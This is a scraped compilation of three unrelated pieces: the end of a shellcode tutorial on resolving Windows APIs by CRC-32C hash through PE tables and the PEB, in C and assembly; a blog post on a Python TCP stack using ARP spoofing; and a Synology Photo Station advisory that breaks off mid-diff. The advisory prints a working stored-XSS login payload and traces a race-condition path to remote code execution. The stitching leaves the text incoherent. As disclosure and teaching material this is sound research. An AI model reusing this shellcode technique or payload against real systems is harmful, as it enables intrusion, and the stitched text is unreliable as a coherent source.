        pop    ecx          ; ecx = NumberOfNames
    
        sub    ecx, ebx     ; ecx = VA2RVA(NumberOfNames, base)
        jz     exp_l2       ; exit if no api
    exp_l3:
        mov    eax, [edx+4*ecx-4] ; get VA of API string
        add    eax, ebx           ; eax = RVA2VA(eax, ebx)
        call   crc32c             ; generate crc32 of api string
        add    eax, [esp+_edx]    ; add crc32 of DLL string
    
        cmp    eax, [esp+_ecx]    ; found match?
        loopne exp_l3             ; --ecx && eax != hash
        jne    exp_l2             ; exit if not found
    
        xchg   eax, ebx
        xchg   eax, ecx
    
        movzx  eax, word [edi+2*eax] ; eax = AddressOfOrdinals[eax]
        add    ecx, [esi+4*eax] ; ecx = base + AddressOfFunctions[eax]
    exp_l2:
        mov    [esp+_eax], ecx
        popad
        ret
    
[/code]

So that’s the basic method to search through exports. Now for the imports
which is a little trickier.

### Image Import Descriptor

The release of _E nhanced Mitigation Experience Toolkit_ \(EMET\) by Microsoft
in 2009 broke some existing shellcodes that searched the export directory for
API.

EMET includes _E xport Address Table Access Filtering_ \(EAF\) and EAF\+ since
the release of 5.2, both of which serve to block read attempts of the export
and import directories originating from modules commonly used to probe memory
during the exploitation of vulnerabilities.

Typically, a shellcode using the IAT will resolve addresses for
GetModuleHandle and GetProcAddress before resolving the rest by string.

If a PE file imports API from other modules, the import directory will contain
an array of image import descriptors, each one representing a module.

[code]

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
      union {
        DWORD Characteristics; // 0 for terminating null import descriptor
        DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
      } DUMMYUNIONNAME;
      DWORD TimeDateStamp;        // 0 if not bound,
                                  // -1 if bound, and real date\time stamp
                                  //  in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                  // O.W. date/time stamp of DLL bound to (Old BIND)
    
      DWORD ForwarderChain;       // -1 if no forwarders
      DWORD Name;
      DWORD FirstThunk;           // RVA to IAT (if bound this IAT has actual addresses)
    } IMAGE_IMPORT_DESCRIPTOR;
    typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
    
[/code]

The 3 fields we’re interested in are:

  * **O riginalFirstThunk**
Contains offsets to the names of the imported functions.

  * **N ame**
Null terminated string of the module to import API from.

  * **F irstThunk**
Contains offsets to the actual addresses of the functions.

### Image Thunk Data

Each descriptor contains RVA that points to array of Image Thunk Data
structures. Each entry represents information about the imported API.

[code]

    typedef struct _IMAGE_THUNK_DATA32 {
        union {
            DWORD ForwarderString;      // PBYTE 
            DWORD Function;             // PDWORD
            DWORD Ordinal;
            DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
        } u1;
    } IMAGE_THUNK_DATA32;
    typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
    
[/code]

In the code, I skip entries that are imported by ordinal.

The **A ddressOfData** from **O riginalFirstThunk** is an RVA that points to
an **I MPORT\_BY\_NAME** structure.

The **F unction** field from **F irstThunk** points to actual address of API
function we’re searching for.

### Import By Name

Since we’re not importing by ordinal, we don’t care about the hint field, just
the name which is null terminated API string.

[code]

    typedef struct _IMAGE_IMPORT_BY_NAME {
        WORD    Hint;
        BYTE    Name[1];
    } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
    
[/code]

  * **H int**
Contains the index into the export table of the DLL the function resides in.
This field is for use by the PE loader so it can look up the function in the
DLL’s export table quickly.This value is not essential and some linkers may
set the value in this field to 0.

  * **N ame**
Contains the name of the import function. The name is an ASCIIZ string. Note
that Name1’s size is defined as byte but it’s really a variable-sized field.
It’s just that there is no way to represent a variable-sized field in a
structure. The structure is provided so that you can refer to the data
structure with descriptive names.

The following code will search import address table for API address using
CRC-32C hash of DLL and API strings.

[code]

    LPVOID search_imp(LPVOID base, DWORD hash)
    {
      DWORD                    dll_h, i, rva;
      PIMAGE_IMPORT_DESCRIPTOR imp;
      PIMAGE_THUNK_DATA        oft, ft;
      PIMAGE_IMPORT_BY_NAME    ibn;
      PIMAGE_DOS_HEADER        dos;
      PIMAGE_NT_HEADERS        nt;
      PIMAGE_DATA_DIRECTORY    dir;
      PCHAR                    dll;
      LPVOID                   api_adr=NULL;
      
      dos = (PIMAGE_DOS_HEADER)base;
      nt  = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
      dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
      rva = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
      
      // if no import table, return
      if (rva==0) return NULL;
    
      imp  = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
      
      for (i=0; api_adr==NULL; i++) 
      {
        if (imp[i].Name == 0) return NULL;
        
        dll   = RVA2VA(PCHAR, base, imp[i].Name);
        dll_h = crc32c(dll); 
        
        rva   = imp[i].OriginalFirstThunk;
        oft   = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
        
        rva   = imp[i].FirstThunk;
        ft    = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
            
        for (;; oft++, ft++) 
        {
          if (oft->u1.Ordinal == 0) break;
          // skip import by ordinal
          if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) continue;
          
          rva = oft->u1.AddressOfData;
          ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
          
          if ((crc32c(ibn->Name) + dll_h) == hash) {
            api_adr = (LPVOID)ft->u1.Function;
            break;
          }
        }
      }
      return api_adr;
    }
    
[/code]

The assembly follows same alogorithm above but with some optimizations.

[code]

    ; in: ebx = base of module to search
    ;     ecx = hash to find
    ;
    ; out: eax = api address resolved in IAT
    ;
    search_impx:
        xor    eax, eax    ; api_adr = NULL
        pushad
        ; eax = IMAGE_DOS_HEADER.e_lfanew
        mov    eax, [ebx+3ch]
        add    eax, 8     ; add 8 for import directory
    
        ; eax = IMAGE_DATA_DIRECTORY.VirtualAddress
        mov    eax, [ebx+eax+78h]
        test   eax, eax
        jz     imp_l2
    
        lea    ebp, [eax+ebx]
    imp_l0:
        mov    esi, ebp      ; esi = current descriptor
        lodsd                ; OriginalFirstThunk +00h
        xchg   eax, edx      ; temporarily store in edx
        lodsd                ; TimeDateStamp      +04h
        lodsd                ; ForwarderChain     +08h
        lodsd                ; Name_              +0Ch
        test   eax, eax
        jz     imp_l2        ; if (Name_ == 0) goto imp_l2;
    
        add    eax, ebx
        call   crc32c
        mov    [esp+_edx], eax
    
        lodsd                 ; FirstThunk
        mov    ebp, esi       ; ebp = next descriptor
    
        lea    esi, [edx+ebx] ; esi = OriginalFirstThunk + base
        lea    edi, [eax+ebx] ; edi = FirstThunk + base
    imp_l1:
        lodsd                 ; eax = oft->u1.Function, oft++;
        scasd                 ; ft++;
        test   eax, eax       ; if (oft->u1.Function == 0)
        jz     imp_l0         ; goto imp_l0
    
        cdq
        inc    edx         ; will be zero if eax >= 0x80000000
        jz     imp_l1      ; oft->u1.Ordinal & IMAGE_ORDINAL_FLAG
    
        lea    eax, [eax+ebx+2] ; oft->Name_
        call   crc32c           ; get crc of API string
    
        add    eax, [esp+_edx] ; eax = api_h + dll_h
        cmp    [esp+_ecx], eax ; found match?
        jne    imp_l1
    
        mov    eax, [edi-4]    ; ft->u1.Function
    imp_l2:
        mov    [esp+_eax], eax
        popad
        ret
    
[/code]

### Process Environment Block

Perhaps this part should precede everything else?

Another “advancement” arrived with the publication of Gaining important datas
from PEB under NT boxes by Ratter/29A in 2002. There was a better way to
obtain base address of KERNEL32.DLL simply by reading it from the PEB.

Here I’m using structures from Matt Graeber’s PIC\_Bindshell

[code]

    LPVOID getapi (DWORD dwHash)
    {
      PPEB                     peb;
      PMY_PEB_LDR_DATA         ldr;
      PMY_LDR_DATA_TABLE_ENTRY dte;
      LPVOID                   api_adr=NULL;
      
    #if defined(_WIN64)
      peb = (PPEB) __readgsqword(0x60);
    #else
      peb = (PPEB) __readfsdword(0x30);
    #endif
    
      ldr = (PMY_PEB_LDR_DATA)peb->Ldr;
      
      // for each DLL loaded
      for (dte=(PMY_LDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
           dte->DllBase != NULL && api_adr == NULL; 
           dte=(PMY_LDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
      {
        api_adr=search_imp(dte->DllBase, dwHash);
      }
      return api_adr;
    }
    
[/code]

The assembly is purely based on same algorithm but with some minor
optimizations.

[code]

    ; LPVOID getapix(DWORD hash);
    getapix:
    _getapix:
        pushad
        mov    ecx, [esp+32+4] ; ecx = hash
        push   30h
        pop    eax
    
        mov    eax, [fs:eax] ; eax = (PPEB) __readfsdword(0x30);
        mov    eax, [eax+12] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
        mov    edi, [eax+12] ; edi = ldr->InLoadOrderModuleList.Flink
        jmp    gapi_l1
    gapi_l0:
        call   search_expx
        test   eax, eax
        jnz    gapi_l2
    
        mov    edi, [edi]    ; edi = dte->InMemoryOrderLinks.Flink
    gapi_l1:
        mov    ebx, [edi+24] ; ebx = dte->DllBase
        test   ebx, ebx
        jnz    gapi_l0
    gapi_l2:
        mov    [esp+_eax], eax
        popad
        ret
    
[/code]

### Hash algorithm

For both examples, I use CRC-32C checksum. The C stands for Castagnoli
polynomial used. The reason to use this is simply because there were no
collisions for 80,000 API tested. Some existing hash algorithms provide “good
enough” results but the advantage of using CRC-32C is that it is now supported
by INTEL cpus since the release of SSE4.2

It should be clear however that the OR operation of bytes with 0x20 is not
part of the CRC-32C specification. This is only here to convert strings to
lowercase before hashing. Sometimes kernel32.dll can appear as uppercase too.

[code]

    uint32_t crc32c(const char *s)
    {
      int i;
      uint32_t crc=0;
      
      do {
        crc ^= (uint8_t)(*s++ | 0x20);
        
        for (i=0; i<8; i++) {
          crc = (crc >> 1) ^ (0x82F63B78 * (crc & 1));
        }
      } while (*(s - 1) != 0);
      return crc;
    }
    
[/code]

Here’s the code using built in instruction.

[code]

    ;
        xor    eax, eax
        cdq
    crc_l0:
        lodsb
        or     al, 0x20
        crc32  edx, al
        cmp    al, 0x20
        jns    crc_l0
    
[/code]

Here’s code for CPUs without the support for SSE4.2

[code]

    ; in: eax = s
    ; out: crc-32c(s)
    ;
    crc32c:    
        pushad
        xchg   eax, esi          ; esi = s
        xor    eax, eax          ; eax = 0
        cdq                      ; edx = 0
    crc_l0:
        lodsb                    ; al = *s++ | 0x20
        or     al, 0x20
        xor    dl, al            ; crc ^= c
        push   8
        pop    ecx    
    crc_l1:
        shr    edx, 1            ; crc >>= 1
        jnc    crc_l2
        xor    edx, 0x82F63B78
    crc_l2:
        loop   crc_l1
        sub    al, 0x20          ; until al==0
        jnz    crc_l0    
        mov    [esp+_eax], edx
        popad
        ret
    
[/code]

Of course, CRC-32C is not collision resistant. In some cases, you might need
to consider using a cryptographic hash algorithm. The smallest I can think of
would be CubeHash by Daniel Bernstein.

Although, you could also use a tiny block or stream cipher to encrypt the
strings and truncate the ciphertext to 32 or 64-bits. Not sure how collision
resistant that would be but it’s worth exploring.

### Summary

Parsing the import and export tables isn’t a really difficult task. With all
the sources and documentation available, there’s no really excuse to avoid
using either to resolve API for a PIC. Using hardcoded API or looking up by
ordinal are recipe for a disaster.

By writing your code in C first and generating assembly output with **/ FAs**
switch of MSVC, this should make parsing in assembly much easier to
understand.

getapi.c contains code in C to locate API by CRC-32C hash. x86.asm and x64.asm
contain the code in assembly to locate API by CRC-32C hash.

For any potential problems found here or in the code, it may take some time
for me to respond but if I don’t immediately it doesn’t mean I’m ignoring you.
<img src='img/9740_1f642.svg' width='16' height='16' alt='🙂' />

About these ads

### Share this:

  * Twitter
  * Facebook
  * Google
  * 

 Like

Be the first to like this.

### _Related_

Shellcode: A Windows PIC using RSA-2048 key exchange, AES-256, SHA-3In
"assembly"

Shellcodes: Executing Windows and Linux ShellcodesIn "assembly"

Asmcodes: Platform Independent PIC for Loading DLL and Executing CommandsIn
"assembly"

This entry was posted in assembly, programming, shellcode, windows and tagged
assembly, crc-32c, crc32, msvc, pic, shellcode, windows, x64, x86. Bookmark
the permalink.

← Shellcode: A Windows PIC using RSA-2048 key exchange, AES-256, SHA-3

### Leave a Reply

  *   * ### Archives
    * January 2017
    * December 2016
    * June 2016
    * April 2016
    * March 2016
    * November 2015
  * ### Meta
    * Register
    * Log in

modexp

Create a free website or blog at WordPress.com.

  * Follow
  * 

<img src='' width='0' height='0' /><img src='' width='0' height='0' />

  

# What happens if you write a TCP stack in Python? - Julia Evans

**Created:**| _8/12/2014 2:48:24 PM_  
---|---  
**Updated:**| _8/12/2014 2:48:24 PM_  
**Author:**| __  
**Tags:**| _python performance tcp_  
  

# What happens if you write a TCP stack in Python?

Aug 12, 2014

During Hacker School, I wanted to understand networking better, and I decided
to write a miniature TCP stack as part of that. I was much more comfortable
with Python than C and I’d recently discovered the scapy networking library
which made sending packets really easy.

So I started writing teeceepee\!

The basic idea was

  1. open a raw network socket that lets me send TCP packets
  2. send a HTTP request to `GET` google.com
  3. get and parse a response
  4. celebrate\!

I didn’t care much about proper error handling or anything; I just wanted to
get one webpage and declare victory :\)

## Step 1: the TCP handshake

I started out by doing a TCP handshake with Google\! \(this won’t necessarily
run correctly, but illustrates the principles\). I’ve commented each line.

The way a TCP handshake works is:

  * me: SYN
  * google: ACK\!
  * me: SYN ACK\!\!\!

Pretty simple, right? Let’s put it in code.

|

[code]

    # My local network IP
    src_ip  "192.168.0.11"
    # Google's IP
    dest_ip  "96.127.250.29"
    # IP header: this is coming from me, and going to Google
    ip_header  dest_ip src_ip
    # Specify a large random port number for myself (59333),
    # and port 80 for Google The "S" flag means this is
    # a SYN packet
      dport sport59333
               flags
    # Send the SYN packet to Google
    # scapy uses '/' to combine packets with headers
    response  ip_header  
    # Add the sequence number 
    syn_ack  dport sportsrc_port
              response flags
    # Reply with the SYNACK!
    ip_header  syn_ack
    
[/code]  
---|---  
### Wait, sequence numbers?

What’s all this about sequence numbers? The whole point of TCP is to make sure
you can resend packets if some of them go missing. Sequence numbers are a way
to check if you’ve missed packets. So let’s say that Google sends me 4
packets, size 110, 120, 200, and 500 bytes. Let’s pretend the initial sequence
number is 0. Then those packets will have sequence numbers 0, 110, 230, and
430.

So if I suddenly got a 100-byte packet with a sequence number of 2000, that
would mean I missed a packet\! The next sequence number should be 930\!

How can Google know that I missed the packet? Every time I receive a packet
from Google, I need to send an ACK \(“I got the packet with sequence number
230, thanks\!”\). If the Google server notices I haven’t ACKed a packet, then
it can resend it\!

The TCP protocol is extremely complicated and has all kinds of rate limiting
logic in it, but we’re not going to talk about any of that. This is all you’ll
need to know about TCP for this post\!

## Step 2: OH NO I already have a TCP stack

So I ran the code above, and I had a problem. IT DIDN’T WORK.

But in a kind of funny way\! I just didn’t get any responses. I looked in
Wireshark \(a wonderful tool for spying on your packets\) and it looked like
this:

|

[code]

    google 
    
[/code]  
---|---  
Wait, what? I never sent a `RST` packet?\! `RST` means STOP THE CONNECTION
IT’S OVER. That is not in my code at all\!

This is when I remembered that I _already_ have a TCP stack on my computer, in
my kernel. So what was actually happening was:

|

[code]

     Python program 
    google 
     kernel    never asked   
     Python program  
    
[/code]  
---|---  
So how do we bypass the kernel? I talked to the delightful Jari Takkala about
this, and he suggested using ARP spoofing to pretend I had a different IP
address \(like `192.168.0.129`\).

The new exchange was like this:

|

[code]

      router  packets  192.1680.129    address
    router   silently
     Python program   192.1680.129
    google 
    kernel  't my IP address! <ignore>
     Python program   
    
[/code]  
---|---  
And it worked\! Okay, awesome, we can now send packets AND GET RESPONSES
without my kernel interfering\! AWESOME.

## Step 3: get a webpage\!

There is an intervening step here where I fix tons of irritating bugs
preventing Google from sending me the HTML for http://google.com. I eventually
fixed all of these, and emerge victorious\!

I needed to

  * put together a packet containing a HTTP GET request
  * make sure I can listen for _lots_ of packets in response, not just one
  * spend a lot of time fixing bugs with sequence numbers
  * try to close the connection properly

## Step 4: realize Python is slow

Once I had everything working, I used Wireshark again to look at what packets
were being sent back and forth. It looked something like this:

|

[code]

    google  handshake
      google
    google  packets
    google starts resending packets
    google reset connection
    
[/code]  
---|---  
The sequences of packets from Google and ACKs from me looked something like: P
P P A P P P P P A P P A P P P P A. Google was sending me packets _way_ faster
than my program could keep up and send ACKs. Then, hilariously, Google’s
server would assume that there were network problems causing me to not ACK its
packets.

And it would eventually reset the connection because it would decide there
were connection problems.

But the connection was fine\! My program was totally responding\! It was just
that my Python program was way too slow to respond to packets in the
millisecond times it expected.

## life lessons

If you’re actually writing a production TCP stack, don’t use Python.
\(surprise\!\)

I was really happy that it actually worked, though\! The ARP spoofing was
extremely finicky, but I wrote a version of `curl` using it which worked about
25% of the time. You can see all the absurd code at
https://github.com/jvns/teeceepee/.

I think this was actually way more fun and instructive than trying to write a
TCP stack in an appropriate language like C :\)

# The Synology Improbability

**Created:**| _3/7/2018 8:48:22 AM_  
---|---  
**Updated:**| _3/7/2018 8:48:22 AM_  
**Author:**| _wishi_  
**Tags:**| _pentest infrastructure backup_  
  

  

Recently, my manager purchased a Synology NAS device for me to do some
backups. Since quite a few people I know use this particular NAS \(including
myself now\), I decided to do a quick audit on it before integrating it into
my lab environment. In this blog post, I will cover two different
vulnerabilities patched by Synology.

Upon initial inspection, I saw that one of the default applications that was
installed \(or at least prompted to install during the setup\) was the Photo
Station. This is a pure PHP target so I decided to have a look at it. My scope
was limited to this application as this was a “Sunday morning with a cup of
tea” kind of thing.

###### Synology Photo Station LogList Stored Cross Site Scripting
Authentication Bypass Vulnerability

This vulnerability is triggered when making API requests to the
**_/volume1/@appstore/PhotoStation/photo/webapi/log.php_** script. An admin
can do this when they are logged into the NAS.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
| class PhotoLogAPI extends WebAPI \{  
private $operationPemission = "admin";  
  
function \_\_construct\(\) \{  
parent::\_\_construct\(SZ\_WEBAPI\_API\_DESCRIPTION\_PATH\);  
\}  
  
protected function Process\(\)  
\{  
if \(\!strcasecmp\($this->method, "list"\)\) \{ // 1. Test for "list"  
$this->LogList\(\); // 2. call LogList  
\} else if \(\!strcasecmp\($this->method, "clear"\)\) \{  
$this->Clear\(\);  
\} else if \(\!strcasecmp\($this->method, "export"\)\) \{  
$this->Export\(\);  
\}  
\}  
  
private function LogList\(\)  
\{  
$resp = array\(\);  
  
$params = $this->GetParams\_List\(\);  
if \(\!$params\) \{  
$this->SetError\(WEBAPI\_ERR\_BAD\_REQUEST\);  
goto End;  
\}  
  
$res = PhotoLog::ListItem\($params\['offset'\], $params\['limit'\]\); // 3.
Pull data from the database  
  
$resp\['items'\] = $res\['data'\];  
$resp\['total'\] = $res\['total'\];  
$offset = \(0 > \(int\)$params\['limit'\]\) ? $resp\['total'\] :
$params\['offset'\] + $params\['limit'\];  
$resp\['offset'\] = \($offset > $resp\['total'\]\) ? $resp\['total'\] :
$offset;  
  
$this->SetResponse\($resp\); // 6. Set the response, no validation  
End:  
return;  
\}  
---|---  
This code is called as an AJAX request when an admin clicks on “Log” inside of
the admin interface. At \[1\], the code checks for the method **list** and if
it exists, calls **LogList** at \[2\]. Then at \[3\], the code calls the
static function **ListItem** from the PhotoLog class defined in
**/volume1/@appstore/PhotoStation/photo/include/log.php**.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
|  public static function ListItem \($offset, $limit\)  
\{  
$query = "SELECT \* FROM photo\_log ORDER BY create\_time DESC, logid DESC
LIMIT ? OFFSET ?";  
$dbResult = PHOTO\_DB\_Query\($query, array\($limit, $offset\)\); // 4.
execute prepared query  
  
$data = array\(\);  
while\(\($row = PHOTO\_DB\_FetchRow\($dbResult\)\)\) \{  
$item = array\(  
'success' => PHOTO\_DB\_IsTrue\($row\['success'\]\),  
'create\_time' => $row\['create\_time'\],  
'logid' => $row\['logid'\],  
'log' => $row\['log'\],  
'user' => $row\['user'\] // 5. get the attempted logged in user  
\);  
$data\[\] = $item;  
\}  
  
$dbResult = PHOTO\_DB\_Query\("SELECT count\(\*\) FROM photo\_log"\);  
$row = PHOTO\_DB\_FetchRow\($dbResult\);  
  
return array\('data' => $data,  
'total' => $row\[0\]\);  
\}  
---|---  
The code here pulls the data directly out of the database. Most importantly,
the user is used at \[5\] and then it is returned as an array back to the
caller. Finally, at \[6\], the data is returned without any HTML escaping,
allowing for a cross-site scripting vulnerability to occur.

An unauthenticated attacker can trigger this by attempting to log in to the
application.

1  
2  
3  
4  
5  
6  
7  
| POST /photo/webapi/auth.php HTTP/1.1  
Host:  
Content-Length: 127  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
  
username="><img+src=a+onerror=alert\(1\)+/>&version=1&enable\_syno\_token=true&api=SYNO.PhotoStation.Auth&password=&method=login  
---|---  
Note the exclusion of a password and sessionid. Now, when an admin views the
logs, the inline JavaScript should be fired. However, Synology implements a
Content Security Policy \(CSP\). The following domains are within scope and I
feel like I could probably find some content reflection on \*.synology.com,
but that is out of scope for me and really is of no interest.

  * https://\*.synology.com
  * https://\*.google.com
  * https://\*.googleapis.com
  * https://dme0ih8comzn4.cloudfront.net/js/feather.js
  * feather.aviary.com http://featherservices.aviary.com
  * \*.google-analytics.com https://dme0ih8comzn4.cloudfront.net

However, it turns out that the latest version of MSIE 11 executes inline
JavaScript despite the CSP implementation–thanks Microsoft\! We will cover a
similar vulnerability in our live AWAE class at Black Hat Asia 2018.

###### Synology Photo Station SYNOPHOTO\_Flickr\_MultiUpload Race Condition
File Write Remote Code Execution Vulnerability

Once we have bypassed authentication, the next thing to do is \(ab\)use
something. Synology has done a decent job of securing their PhotoStation
application over the years from others discovering SQL Injection and other
critical vulnerabilities to bypass authentication.

What I found interesting is that it seems like nobody had abused the PHP to
execute code. The surface wasn’t big, but it was interesting\!

We begin our journey in
**_/volume1/@appstore/PhotoStation/photo/SocialNetwork/flickr.php_** ,
revealing the following code:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
| \} else if \(isset\($\_POST\['action'\]\)\) \{  
switch \($\_POST\['action'\]\) \{  
case "upload":  
...  
case "multi\_upload":  
if \(\!isset\($\_POST\['prog\_id'\]\) || \!isset\($\_POST\['token'\]\) ||  
\!isset\($\_POST\['secret'\]\) || \!isset\($\_POST\['photoList'\]\) ||
strpos\($\_POST\['grog\_id'\], ".."\) \!== FALSE\) \{ // 1. checks for some
post parameters  
$result\['message'\] = "invalid multi\_upload arguments";  
echo json\_encode\($result\);  
exit\(\);  
\}  
csSYNOPhotoDB::GetDBInstance\(\)->SetSessionCache\(true\);  
session\_write\_close\(\);  
SYNOPHOTO\_Flickr\_MultiUpload\($\_POST\['prog\_id'\], $\_POST\['token'\],
$\_POST\['secret'\], $\_POST\['photoList'\]\); // 2. calls
SYNOPHOTO\_Flickr\_MultiUpload with constrolled data  
break;  
---|---  
At \[1\], there is a check for a few POST variables and a check for “..” in
**grog\_id**. That’s important, as we’ll see later. Then, if we pass this
check, we call into SYNOPHOTO\_Flickr\_MultiUpload at \[2\] with controlled
POST parameters. Note that **prog\_id** is used here.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
| function SYNOPHOTO\_Flickr\_MultiUpload\($progressId, $oauthToken,
$tokenSecret, $photoList\)  
\{  
if \(\!csSYNOPhotoMisc::IsAllowedSocialUploadIdentity\(\)\) \{  
$result = array\("success" => false, "message" => "not allowed identity"\);  
echo json\_encode\($result\);  
exit;  
\}  
  
$photoIds = explode\(',', $photoList\); // 3. creates photoIds from user
controlled input  
if \(\!@file\_exists\(FLICKR\_UPLOAD\_TMP\)\) \{  
@mkdir\(FLICKR\_UPLOAD\_TMP, 0777, true\);  
\} else if \(\!is\_dir\(FLICKR\_UPLOAD\_TMP\)\) \{  
$result = array\("success" => "finish", "error" => "failed to create
tmpDir"\);  
@file\_put\_contents\(FLICKR\_UPLOAD\_TMP."/".$progressId,
json\_encode\($progress\)\); // 4. create an arbitrary file here  
exit\(\);  
\}  
$totalNum = count\($photoIds\);  
$uploadedNum = 0;  
foreach \($photoIds as $id\) \{ // 5. loops through user controlled data  
if \(@file\_exists\(FLICKR\_UPLOAD\_TMP."/".$progressId."\_cancel"\)\) \{  
break;  
\}  
$result = getPhotoPath\($id\); // 6. calls getPhotoPath with controlled $id  
if \(\!$result\['success'\]\) \{ // 16. make sure it returns a valid result  
continue;  
\}  
$realPath = $result\['path'\];  
$filename = substr\($realPath, strrpos\($realPath, '/'\)+1\);  
$progress = array\(  
"name" => $result\['filename'\], // 17. $progress contains php code  
"percent" => number\_format\($uploadedNum/$totalNum, 2\)  
\);  
// write to progress file  
@file\_put\_contents\(FLICKR\_UPLOAD\_TMP."/".$progressId,
json\_encode\($progress\)\); // 18. file write vulnerability - race starts
here  
$result = uploadPhoto\($tokenSecret, $oauthToken, $realPath,
$result\['filename'\], ""\);  
if \(\!$result\['success'\]\) \{  
echo $filename." ".$result\['message'\];  
\}  
OutputSingleSpace\(\);  
$uploadedNum++;  
\}  
$progress = array\("success" => "finish"\);  
@file\_put\_contents\(FLICKR\_UPLOAD\_TMP."/".$progressId,
json\_encode\($progress\)\); // 19. race condition window closed here  
@unlink\(FLICKR\_UPLOAD\_TMP."/".$progressId."\_cancel"\);  
echo json\_encode\($progress\);  
\}  
---|---  
At \[3\] the code creates an array from user-controlled input, then at \[4\]
the code creates a file that is partially controlled by the attacker. This is
not exploitable since newer versions of PHP don’t allow for NULL-byte
injection.

Then, at \[6\] we can see a call to **getPhotoPath** :

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
| function getPhotoPath\($imageId\)  
\{  
$arr = explode\('\_', $imageId\); // 7. make sure our imageId has 3 \_ in it  
if \(3 \!== count\($arr\)\) \{  
$result = array\("success" => false, "message" => "invalid id format"\);  
return $result;  
\}  
if \($arr\[0\] \!== "photo"\) \{ // 8. make sure photo is the first value  
$result = array\("success" => false, "message" => "not photo id"\);  
return $result;  
\}  
$dirName = @pack\('H\*', $arr\[1\]\); // 9. unpack directory from controlled
data  
$fileName = @pack\('H\*', $arr\[2\]\); // 10. unpack filename from controlled
data  
if \('/' === $dirName\) \{  
$filePath = $fileName;  
\} else \{  
$filePath = $dirName.'/'.$fileName;  
\}  
$path = realpath\(SYNOPHOTO\_SERVICE\_REAL\_DIR.'/'.$filePath\);  
  
$useOrig = csSYNOPhotoMisc::GetConfigDB\("photo", "share\_upload\_orig",
"photo\_config"\) == 'on'; // 11. check share\_upload\_orig setting is enabled  
$photoInfo = csSYNOPhotoDB::GetDBInstance\(\)->GetPhotoInfo\($path\); // 12.
needs to be a valid photo  
  
$realPath = $path;  
//30MB is limit  
if\(\!$useOrig || \!isset\($photoInfo\['size'\]\) || 30\*1024\*1024 false,
"message" => "file not found"\);  
return $result;  
\}  
  
//check access right // 14. need to be admin  
if \(strpos\($realPath, realpath\(SYNOPHOTO\_SERVICE\_REAL\_DIR\)\) \!== 0\)
\{  
$result = array\("success" => false, "message" => "access denied"\);  
return $result;  
\}  
if \(\!CheckAlbumAccessRight\($dirName\)\) \{  
$result = array\("success" => false, "message" => "access denied"\);  
return $result;  
\}  
if \(\!isset\($\_SESSION\[SYNOPHOTO\_ADMIN\_USER\]\['admin\_syno\_user'\]\) &&
\!csSYNOPhotoMisc::GetConfigDB\("photo", "allow\_guest\_fb\_upload",
"photo\_config"\)\) \{  
$result = array\("success" => false, "message" => "no upload permission"\);  
return $result;  
// check flickr upload Setting  
$social = SocialNetwork::ReadList\(\);  
if \(is\_array\($social\)\) \{  
foreach \($social as $item\) \{  
if \('Flickr' === $item\['name'\] && true \!== $item\['enable'\]\) \{  
$result = array\("success" => false, "message" => "no youtube upload
permission"\);  
return $result;  
\}  
\}  
\}  
$result\['success'\] = true;  
$result\['path'\] = $realPath;  
$result\['filename'\] = $fileName; // 15. set the filename  
return $result;  
\}  
---|---  
This function checks that the **id** variable can be broken into a valid path
and performs a few checks on the path, such as:

  * The file a valid image \[12\]
  * The file does exist \[13\]
  * The current user is admin \[14\]
  * etc

Then at \[15\], the array is set with our controlled filename. However, since
we control the filename and we are attacking a Linux system, we can write PHP
code into the filename itself and store it. This is so at \[17\] we have PHP
code in our array. Then at \[18\], the file write vulnerability occurs and the
window is opened up between \[18\] and \[19\]. At \[19\], the PHP file is
overwritten with data we do not control, so the race is finished.

It’s a small window, but its easily won :->

###### Patch / Mitigation

The patch I wrote is literally a single byte change in **_flickr.php_**. I
suspect that the developer made a typo and didn’t test the code properly. They
were trying to filter **_grog\_id_** which is never used, its actually
**_prog\_id_**\!

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
| saturn:synology mr\_me$ diff -u photo/SocialNetwork/flickr.php
photo/SocialNetwork/flickr.php.new  
\--- photo/SocialNetwork/flickr.php 2017-11-22 05:13:58.000000000 -0600  
+++ photo/SocialNetwork/flickr.php.new 2017-12-19 11:12:48.000000000 -0600  
@@ -38,7 +38,7 @@  
break;  
case "multi\_upload":  
